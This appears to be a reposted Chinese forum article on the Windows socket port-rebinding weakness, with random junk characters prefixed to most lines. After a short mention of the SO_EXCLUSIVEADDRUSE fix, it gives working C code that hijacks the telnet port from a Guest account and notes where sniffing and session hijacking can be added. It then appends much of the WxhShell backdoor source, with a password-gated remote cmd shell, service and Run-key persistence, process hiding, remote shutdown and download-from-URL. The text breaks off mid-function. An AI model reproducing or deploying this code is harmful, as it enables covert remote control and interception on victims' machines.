在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|Z/ySAFM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}w@nZG ^& nb!m>0*/ saddr.sin_family = AF_INET;
CUd'*Ewu V7v,)a" L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|3cR'|<Ual )T+htD) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J\0YL\jw1K !%(B2J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Yb\36| Q&\k"X 1 这意味着什么?意味着可以进行如下的攻击:
v>P){VT 1wM
p3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8+ W^t I Zn!SHj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#WG(V%f] `'QPe42 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
t8[:}[Jx ZtT`_G& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pL-$Np] V ={oO9.9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i
xyjl[G 1FX-#Y`e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
EkBM>*W mnia>;
0H 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J{ Vl2P?@ Z~g qTB]H #include
Mf63 59 #include
iB`m!g6$ #include
oAx0$]+%V) #include
YD%Kd&es DWORD WINAPI ClientThread(LPVOID lpParam);
+Lr0i_al int main()
3N21[i2/m {
;vx9xs?6 WORD wVersionRequested;
HTG;'$H^ DWORD ret;
h^)2:0#{I WSADATA wsaData;
dd+).* BOOL val;
StVv"YY SOCKADDR_IN saddr;
b6(yyYdF SOCKADDR_IN scaddr;
BkF[nL*| int err;
5*r6#[S\ SOCKET s;
~eP2PG SOCKET sc;
td~3N,S int caddsize;
#]'xUgcE9 HANDLE mt;
cG'Wh@ DWORD tid;
Ww~0k!8,t wVersionRequested = MAKEWORD( 2, 2 );
`xr%LsNn err = WSAStartup( wVersionRequested, &wsaData );
+1%6-g4" if ( err != 0 ) {
7$;$4.' printf("error!WSAStartup failed!\n");
)wRD return -1;
{1+H\(v }
2P}RZvUd saddr.sin_family = AF_INET;
#wyS?FP- >seB["C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BSY#xe V SOL=3hfb^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>vU
Hf`4T saddr.sin_port = htons(23);
1DP)6{x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yN.D(ZwF: {
GdU
W$. printf("error!socket failed!\n");
,L;vN6~ return -1;
;<A/e }
5dk,!Cjg val = TRUE;
ZJ(!jc$"*% //SO_REUSEADDR选项就是可以实现端口重绑定的
aBnbu
vp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
11sW$@xs
9 {
$\
'\@3o printf("error!setsockopt failed!\n");
^xwFjQXx return -1;
_;{-w%Vf }
(YOgQ)}, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I .ty-X] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z"#.o^5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Q/9b'^UJ [}p.*U_nw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@gc"-V*-/ {
l?o-
p ret=GetLastError();
4o3GS8 printf("error!bind failed!\n");
Izu.I_$4 return -1;
%K7}yy&9C }
U:9vjY listen(s,2);
M\f0
=`g while(1)
s|T7)PgR {
=.a ]?&Yyh caddsize = sizeof(scaddr);
M6sDtL9l //接受连接请求
08a|]li sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[Bo$? if(sc!=INVALID_SOCKET)
KF)i66 {
B(LV22# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
val<N293L> if(mt==NULL)
:N}KScS|Wa {
6pR#z@, printf("Thread Creat Failed!\n");
$NHWg(/R@ break;
pt#[.n#f }
|5Pbc&mH8A }
?xZmm%JF CloseHandle(mt);
}q W aE }
VHCzlg closesocket(s);
h6 i{5\7. WSACleanup();
Gu).*cU return 0;
wlM
?gQXU[ }
w ZAXfNA DWORD WINAPI ClientThread(LPVOID lpParam)
$4L3y
uH {
{6sfa?1j SOCKET ss = (SOCKET)lpParam;
IcQ!A=lB SOCKET sc;
".?{Y(~ unsigned char buf[4096];
h$\hPLx SOCKADDR_IN saddr;
qGCg3u6 long num;
!++62Lf DWORD val;
8zWPb DWORD ret;
~*[4DQ[\ //如果是隐藏端口应用的话,可以在此处加一些判断
em}Qv3*# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1 ,'^BgI, saddr.sin_family = AF_INET;
c&-$?f
r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C:MGi7f saddr.sin_port = htons(23);
x~^I/$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|81N/]EER {
D:tZiS=0 printf("error!socket failed!\n");
ycD.:w p\' return -1;
YCO:bBmp: }
@98SC}}u val = 100;
%)Dd{|c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UE w3AO {
T9-a
uK0d ret = GetLastError();
z&,sm5Lb return -1;
T
l(uqY?9 }
\r,.hUp if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$:II@= {
M) XQi/ ret = GetLastError();
m?$G(E5 return -1;
}92lr87 }
!p2,|6Y`y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
J6D$ i+ {
Ilb
|:x"L printf("error!socket connect failed!\n");
Fjt, closesocket(sc);
$ n[7 closesocket(ss);
:-" jKw return -1;
}#5roNH~Z }
C/XyDbH while(1)
h##?~!xDmq {
}p?V5Qp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q$/F gS
//如果是嗅探内容的话,可以再此处进行内容分析和记录
os^SD&hL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6D"`FPC num = recv(ss,buf,4096,0);
_kX/LR"L+ if(num>0)
F{~r7y;0 send(sc,buf,num,0);
9k[},MM else if(num==0)
]Wt6V^M'@ break;
%&+R":Bw num = recv(sc,buf,4096,0);
+gCy@_2; if(num>0)
f?^Oy!1] send(ss,buf,num,0);
i}F;fWZ` else if(num==0)
JO{-
P break;
ikG9l&n }
)60f closesocket(ss);
T-2p`b}hW closesocket(sc);
BBE1}V!u
return 0 ;
C|IQM4 }
X3L[y\ 3nC#$L- {^5<{j3e ==========================================================
(i0"hi Y1aF._Z 下边附上一个代码,,WXhSHELL
S Y>,kwHO fZ~kw*0* ==========================================================
IH5} Az ]op^dW1;0_ #include "stdafx.h"
h)l&K%4; m-S33PG{ #include <stdio.h>
s]<r #include <string.h>
b|8>eY #include <windows.h>
IQi[g~E.5 #include <winsock2.h>
9eN2)a/ #include <winsvc.h>
Q @OC = #include <urlmon.h>
.6 ?>t!&W $aPHl #pragma comment (lib, "Ws2_32.lib")
s!;VUr\ #pragma comment (lib, "urlmon.lib")
+V+*7s%fL ;ko[(eFN@ #define MAX_USER 100 // 最大客户端连接数
E%\7Uo- #define BUF_SOCK 200 // sock buffer
e(; `9T #define KEY_BUFF 255 // 输入 buffer
:_QAjU /$Tl# #define REBOOT 0 // 重启
Sd<@X@iU8D #define SHUTDOWN 1 // 关机
Fx[A8G rq(~/Yc #define DEF_PORT 5000 // 监听端口
,[}yf#8@J c<h!QnJ #define REG_LEN 16 // 注册表键长度
Gz[ymj)5 #define SVC_LEN 80 // NT服务名长度
q4.dLU,1 HLoQ}oK|K // 从dll定义API
K)Xs L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|N=@E,33 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x#j\"$dla typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C/CfjRzd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qv0
DrL,3 `l gjw= // wxhshell配置信息
ULNAH`{D struct WSCFG {
Y7:Y{7E7 int ws_port; // 监听端口
4I#eC#" char ws_passstr[REG_LEN]; // 口令
mj(&`HRs4 int ws_autoins; // 安装标记, 1=yes 0=no
Mi/ &$"= char ws_regname[REG_LEN]; // 注册表键名
]Ic?:lKN char ws_svcname[REG_LEN]; // 服务名
V^`?8P8d char ws_svcdisp[SVC_LEN]; // 服务显示名
(+gL#/u char ws_svcdesc[SVC_LEN]; // 服务描述信息
|:(23O char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:B*vkwT int ws_downexe; // 下载执行标记, 1=yes 0=no
^QXw[th!d
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zOiY0`= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/\-2l+y>J =, C9O };
3u?`q%Y-e y3KcM#[ // default Wxhshell configuration
ra9cD"/J & struct WSCFG wscfg={DEF_PORT,
jI{~s]Q "xuhuanlingzhe",
RhV:Z3f`6 1,
&G
pA1 "Wxhshell",
jr[<i\! "Wxhshell",
| ,1bkJt "WxhShell Service",
da00p-U "Wrsky Windows CmdShell Service",
hSkc9jBF "Please Input Your Password: ",
W3jXZ> 1,
0tW<LR-}E "
http://www.wrsky.com/wxhshell.exe",
Pn+IJ=0Y "Wxhshell.exe"
&'huS?gA9 };
J~iOP W8G9rB|T // 消息定义模块
MS st char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b@2Cll# char *msg_ws_prompt="\n\r? for help\n\r#>";
&PRx,G5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F%PwIB~cy char *msg_ws_ext="\n\rExit.";
+-H}s` char *msg_ws_end="\n\rQuit.";
dcl.wD0~V char *msg_ws_boot="\n\rReboot...";
e'~-`Z9-) char *msg_ws_poff="\n\rShutdown...";
/]/>jz> char *msg_ws_down="\n\rSave to ";
,W1a<dl BLL]^qN;Y char *msg_ws_err="\n\rErr!";
^zaKO'KcV char *msg_ws_ok="\n\rOK!";
|-(IJG#) jJ*@5?A char ExeFile[MAX_PATH];
XdGpW int nUser = 0;
J7'f@X~nM HANDLE handles[MAX_USER];
X!7VyE+n int OsIsNt;
] Wx>)LT IP30y>\ SERVICE_STATUS serviceStatus;
S]e j=6SP SERVICE_STATUS_HANDLE hServiceStatusHandle;
d)04;[= fjIcB+Z // 函数声明
_e?q4>B)c int Install(void);
]DC;+;8Jc int Uninstall(void);
k'[ S@+5 int DownloadFile(char *sURL, SOCKET wsh);
WCuzV7tw int Boot(int flag);
hncS_ZA void HideProc(void);
Pv/Pww\ int GetOsVer(void);
)|w*/JK\Z int Wxhshell(SOCKET wsl);
=y<">- void TalkWithClient(void *cs);
ET,Q3X\Oe int CmdShell(SOCKET sock);
HY jMNj0 int StartFromService(void);
ex`
xkZ+ int StartWxhshell(LPSTR lpCmdLine);
*'9)H0 /OQK/
t63 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:vc[/< VOID WINAPI NTServiceHandler( DWORD fdwControl );
<i_>
y~v` x],8yR)R // 数据结构和表定义
[!1)mR SERVICE_TABLE_ENTRY DispatchTable[] =
Fw_
(q! {
KqM! ! {wscfg.ws_svcname, NTServiceMain},
May&@x/oMS {NULL, NULL}
^Yj"RM$;N };
u(pdP" \C]i|]tl // 自我安装
@gt)P4yE int Install(void)
\8;Qv {
V19e> char svExeFile[MAX_PATH];
[_y9"MMwn HKEY key;
}Vvsh3 strcpy(svExeFile,ExeFile);
"s F Xl LXHwX*`Y // 如果是win9x系统,修改注册表设为自启动
7"ylN"syZ if(!OsIsNt) {
jW-;4e*H=V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J0^{,eY< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-"W )|oC_ RegCloseKey(key);
5cD
XWF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h [nH<m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n?'d|h RegCloseKey(key);
&EAk
z return 0;
[096CK }
]>tq|R78 }
;yF[2P ; }
=2^Vgc else {
}qc#lz I"Q#IvNw // 如果是NT以上系统,安装为系统服务
%x&F4U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dCB&c^ if (schSCManager!=0)
U?bG`. X {
c]A
Y SC_HANDLE schService = CreateService
m)s
xotgXf (
<"*"1(wN schSCManager,
ZhH+D`9 wscfg.ws_svcname,
mfXD1]<. wscfg.ws_svcdisp,
`.{U-U\ SERVICE_ALL_ACCESS,
; D1FAz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5a'yXB} SERVICE_AUTO_START,
hP?7zz$*j SERVICE_ERROR_NORMAL,
7^ 4jcfJH svExeFile,
g[/^cJHQ NULL,
CV '&4oq NULL,
*"1~bPl NULL,
; ;<J
x. NULL,
l`SK*Bm~< NULL
./$
<J6-J );
q1 H=/[a if (schService!=0)
xN6>2e {
|5W8Q|>% CloseServiceHandle(schService);
CE)*qFs CloseServiceHandle(schSCManager);
:`D'jF^S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
QQ@9_[N strcat(svExeFile,wscfg.ws_svcname);
*5e<\{! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
YU&4yk lE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
SU/G)&Mi RegCloseKey(key);
_*Pfp+if return 0;
>A3LA3(
c }
}/20%fP }
y =R
aJm CloseServiceHandle(schSCManager);
NdZ)[f:2 }
}d_<\ }
DB#$~(o g[M]i6h2 return 1;
hHpx?9O+! }
GE@uOJ6H im=5{PbJ^ // 自我卸载
sH%&+4!3 int Uninstall(void)
#zxd;;p3 {
ei@3,{~5 HKEY key;
D}MoNE[r `aIG;@Z if(!OsIsNt) {
/J;;|X#P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{B3(HiC RegDeleteValue(key,wscfg.ws_regname);
6#E7!-u(- RegCloseKey(key);
yr5NRs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)!i!3 RegDeleteValue(key,wscfg.ws_regname);
VUp. j RegCloseKey(key);
+$PFHXB return 0;
Mq@}snp"S }
?1CJf>B > }
(v!mR+\x }
0 sZwdO else {
|) O): %l,4=TQ[m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bhYU5I 9 if (schSCManager!=0)
ha5e(Hj? {
glx2I_y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]oEQ4 if (schService!=0)
AuAT]` {
B%fU' if(DeleteService(schService)!=0) {
k52QaMKa~A CloseServiceHandle(schService);
&3I$8v|!? CloseServiceHandle(schSCManager);
usy,V"{ return 0;
UeA2c_
5 }
zj{(p Z1 CloseServiceHandle(schService);
I0iY+@^5 }
_lP4}9p CloseServiceHandle(schSCManager);
7,h3V=^)Q }
Qwv '< }
9\AS@SH{^T GMdI0jaG# return 1;
AFGwT%ZD }
KSc~GP_ j{)~QD ? // 从指定url下载文件
jB!W2~Z int DownloadFile(char *sURL, SOCKET wsh)
Y''6NGf {
a%E8(ms37y HRESULT hr;
M6_-f ;. char seps[]= "/";
r{S=Z~J char *token;
=U NT.] char *file;
)pS8{c)E char myURL[MAX_PATH];
g2=}G <*0 char myFILE[MAX_PATH];
\-OC|\{32 <GaT|Hhc= strcpy(myURL,sURL);
T`?n,'!( token=strtok(myURL,seps);
@^!\d#/M while(token!=NULL)
\!<"7=(J{4 {
b/nOdFO@ file=token;
+*C^:^jA token=strtok(NULL,seps);
>$uUuiyL4 }
e\r7BW\Y pDOM:lGya GetCurrentDirectory(MAX_PATH,myFILE);
oIb)
Rq!m strcat(myFILE, "\\");
Y
9i][ strcat(myFILE, file);
< eQ[kM send(wsh,myFILE,strlen(myFILE),0);
y\#o2PVmY send(wsh,"...",3,0);
nhewDDu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
j&CZ=?K^c if(hr==S_OK)
q`^3ov^</ return 0;
WYLX?x else
>)^NJ2Fd return 1;
<Y>3 ,eXFN?CB }
(@q3^)I4 )[jy[[K( // 系统电源模块
g/#~N~& int Boot(int flag)
YBvd
q1 {
o@3B(j;J` HANDLE hToken;
/UHp [yod TOKEN_PRIVILEGES tkp;
vLDi ; \f"1}f if(OsIsNt) {
Cw#V`70a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Lm|al.Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZMdW2_*F tkp.PrivilegeCount = 1;
fa{@$ppx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6V2j*J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B\[-fq if(flag==REBOOT) {
3gc"_C\$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!
=WcF5 return 0;
H)5QqZ8 }
tpo>1| else {
#ZWl=z5aBi if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<KLg0L<W return 0;
.S_QQM}Q }
-~O/NX }
V#J"c8n else {
J`<f if(flag==REBOOT) {
+"uwV1)b" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<d"Gg/@a return 0;
XG&K32_fs }
X NE+(Bt else {
}0;Sk(B> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
WNF9#oN|oT return 0;
$XGtS$ }
0T))>.iu# }
{eR9 ;2! {|6z+vR return 1;
gz61FW }
5B*qbM $.:3$et@/ // win9x进程隐藏模块
sPCMckt void HideProc(void)
|>2:eH {
CH;;V3 tpYa?ZCM
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DYRE1! if ( hKernel != NULL )
A1-qtAO] {
ZEGd4_ux pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/{X_
.fv<v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qq;b~ 3kW FreeLibrary(hKernel);
zvr\36 }
yX!#a>d"H (Es{l a G return;
Rla4L`X; }
kcS6 _l 3LW[H+k // 获取操作系统版本
9":2"<'+ int GetOsVer(void)
#ElejQ|? {
uD(t`W" OSVERSIONINFO winfo;
VAKy^nR5j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xl2g0? GetVersionEx(&winfo);
LgHJo-+> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
d(S}NH return 1;
10MU-h.) else
Mm#[&j[Y return 0;
gs`> C( }
[5Y<7DS <&U!N'CE // 客户端句柄模块
(WE,dY+. int Wxhshell(SOCKET wsl)
}-p,iTm {
2-v\3voN SOCKET wsh;
RH1uVdJ1 struct sockaddr_in client;
7Fl-(Nv` DWORD myID;
"H1:0p W-D[z#)/Y while(nUser<MAX_USER)
kG^dqqn6 {
'msmXX@q int nSize=sizeof(client);
>IY,be6>P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/6U
4S>'( if(wsh==INVALID_SOCKET) return 1;
};sMU6e <*Y'lV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
GBbh ar},g if(handles[nUser]==0)
DB@EVH closesocket(wsh);
R2LK.bTVn else
X/+OF'po nUser++;
0 {R/<N }
L'9N9CR{i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
*IZf^-=Q HarFE4V return 0;
R0<< f] }
U:|H9+5 J&6:d // 关闭 socket
Gzm$OHbn void CloseIt(SOCKET wsh)
o~C('1Fdb {
U CY2]E closesocket(wsh);
)#`H."Z nUser--;
AyTx' u ExitThread(0);
m;/i<:` }
FFe)e>bH f0oek{ // 客户端请求句柄
#D)x}#V\ void TalkWithClient(void *cs)
=!,Gst_ {
O3%[dR s#^pC*,' SOCKET wsh=(SOCKET)cs;
k/lFRi-i char pwd[SVC_LEN];
I]uhi{\C char cmd[KEY_BUFF];
@2e2^8X7f char chr[1];
Pp_V5,i\ int i,j;
&1Fply7(Ay l4ouZR while (nUser < MAX_USER) {
8#f$rs(} ax@H"d& if(wscfg.ws_passstr) {
7co`Zw4}g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d^84jf.U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qtzRCA!9(Z //ZeroMemory(pwd,KEY_BUFF);
{L0;{ i=0;
^?"^Pmw
while(i<SVC_LEN) {
zk=\lp2 e|'N(D}h* // 设置超时
#@Y/{[s|@ fd_set FdRead;
2k1aX~? struct timeval TimeOut;
QnKC#
FD_ZERO(&FdRead);
_Bk
U+=|J FD_SET(wsh,&FdRead);
_;e\:7<m TimeOut.tv_sec=8;
D,rZ0?R TimeOut.tv_usec=0;
Z+idLbIs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+?d} 7zh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1^{`lK~2 ._<ii 2K' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=B(mIx;m pwd
=chr[0]; G6O/(8
if(chr[0]==0xd || chr[0]==0xa) { PZM42"[&
pwd=0; MF.[8Zb
break; T;?+kC3
} K.DXJ UR
i++; WC-_+9)2&
} n33kb/q*
t ;-L{`mW
// 如果是非法用户,关闭 socket H_B~P%E@]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =!<G!^
} mG(N:n%*K
nGa1a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T1NH eH>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E
$6ejGw-
1d v=xe.
while(1) { 3Gd0E;3sk~
I@./${o
ZeroMemory(cmd,KEY_BUFF); >XE`h9
i\p:#'zk5
// 自动支持客户端 telnet标准 Q4K+*Fi}
j=0; {Y_Nj`#BT
while(j<KEY_BUFF) { (9GbG"
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ./w{L"E
cmd[j]=chr[0]; Hj~O49%j&
if(chr[0]==0xa || chr[0]==0xd) { arj$dAW
cmd[j]=0; y/R+$h(%
break; 0.DQO;
} K]"Kf{bx
j++; 0HbJKix!
} <abKiXA"
-p8e
// 下载文件 ~A >oO-0K
if(strstr(cmd,"http://")) { bK=c@GXS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PDC]wZd/
if(DownloadFile(cmd,wsh)) -g~~] K%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f!iHo+Z
else 7~vqf3ON4J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] !Zty[
} S< x:t(
else { sh6(z?KP
/77z\[CeYH
switch(cmd[0]) { !F7: i
=kFuJ
x)f
// 帮助 _T]>/}}p
case '?': { aZgNPw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )w"0w(
break; y Nva1I
} 4<}A]BQVkJ
// 安装 ']?=[`#NL
case 'i': { 9#@Zz4Ww
if(Install()) IVteF*8hU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (~#G'Hd
else "{(
[!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( V4G<-jG
break; O5-;I,)H
} (,LL[&;:
// 卸载 'F5)ACA%
case 'r': { :]c=pH
if(Uninstall()) F<r4CHfh;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;r!\-]5$
else 0w3b~RJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]{Ek[Av
break; xIgql}.
} c]v
+
// 显示 wxhshell 所在路径 Taasi`
k
case 'p': { Mi74Xl i
char svExeFile[MAX_PATH]; :`J>bHE
strcpy(svExeFile,"\n\r"); M=%!IT
strcat(svExeFile,ExeFile); 0j$OE
send(wsh,svExeFile,strlen(svExeFile),0); hW%p#g;
break; FpzP#;
} z%};X$V`J
// 重启 EcW1;wH
case 'b': { *V|zx#RN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p7UTqKi
if(Boot(REBOOT)) P<L&c_u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7Oy5$##
else { Jpx'W
closesocket(wsh); f)^t')
ExitThread(0); "Ot{^_e
} M(5D'4.
break; fuyl/bx}
} \)R-A
'*U
// 关机 e\.HWV ]I
case 'd': { };p~A-E=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gl>E[iO
if(Boot(SHUTDOWN)) K:w]>a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1 yGg==W.
else { %#9P?COs&W
closesocket(wsh); .,mM%w,^O
ExitThread(0); J wFned#T
} o<J5!
break; oD,C<[(p
} |EeBSRAfe
// 获取shell o7arxo\
case 's': { @dV9Dpu
CmdShell(wsh); T6=-hA^A
closesocket(wsh); ;eh/_hPM
ExitThread(0); [;@):28"
break; CB({Rn
} KZ3B~#oQ
// 退出 F[`vH
case 'x': { W.$6pzB(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :gaETr
CloseIt(wsh); o^PuhVu
break; bK7.St
} 9K$]h2
// 离开 p1^0{ILx
case 'q': { lh$CWsx
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @+t (xCv
closesocket(wsh); \n(ROf^'
WSACleanup(); ai^t=
s
exit(1); B^m!t7/,
break; .C?GW1[c~@
} >)y$mc6
} YkI9d&ib+
} DZP*x
97]4
:Zv
// 提示信息 Y?t2,cm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
`EVg'?pl
} H9E(\)@
} R8uj3!3^
~#t*pOC5BR
return; kF2Qv.5!
} j"6:A
>KHp-|0pv
// shell模块句柄 ,-:a?#f>
int CmdShell(SOCKET sock) qp@m&GH
{ EW9b*r7./
STARTUPINFO si; g? I!OG
ZeroMemory(&si,sizeof(si)); ?OO%5PSe n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sW'6}^Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -%=RFgU4
PROCESS_INFORMATION ProcessInfo; N"~ qoJO
char cmdline[]="cmd"; b-uZ"Kf^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); re q-Q |
return 0; p}BGw:=
} R9r)C{63S&
feN!_-
// 自身启动模式 j%u8=
int StartFromService(void) E@mkm
{ HT-PWk>2
typedef struct 8? F
2jv
{ _eh3qs:
DWORD ExitStatus; l_ b_-p
DWORD PebBaseAddress; L?Tu)<Mn
DWORD AffinityMask; kz_M;h>
DWORD BasePriority; L5&K}F]r^
